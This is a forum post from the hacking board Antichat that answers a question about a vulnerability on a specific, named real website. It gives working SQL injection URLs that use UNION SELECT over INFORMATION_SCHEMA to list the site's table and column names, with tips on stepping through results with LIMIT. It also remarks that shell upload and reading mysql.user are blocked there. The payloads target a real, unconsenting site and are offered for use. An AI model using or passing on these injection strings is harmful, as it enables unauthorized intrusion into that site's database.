Форум АНТИЧАТ - Показать сообщение отдельно - Ваши вопросы по уязвимостям.

Шелл не зальешь. Файл прив выключен, есть экранирование кавычек.
Прав на чтение mysql.user нет

Версия мускула 5, можно узнать имена таблиц и столбцов

Код:

http://sc-ufa.uraltb.ru/?id=4+and+1=0+UNION+SELECT+1,table_name,3+from+INFORMATION_SCHEMA.tables+limit+16,1/*

вот например таблица _a3access

Код:

http://sc-ufa.uraltb.ru/?id=4+and+1=0+UNION+SELECT+1,table_name,3+from+INFORMATION_SCHEMA.tables+limit+16,1/*

Для просмотра меняшь limit.
вот пример просмотра столбцов в этой же таблице

Код:

http://sc-ufa.uraltb.ru/?id=4+and+1=0+UNION+SELECT+1,column_name,3+from+INFORMATION_SCHEMA.columns+where+table_name=0x5F6133616363657373+limit+0,1/*

Для просмотра других столбцов также меняешь лимит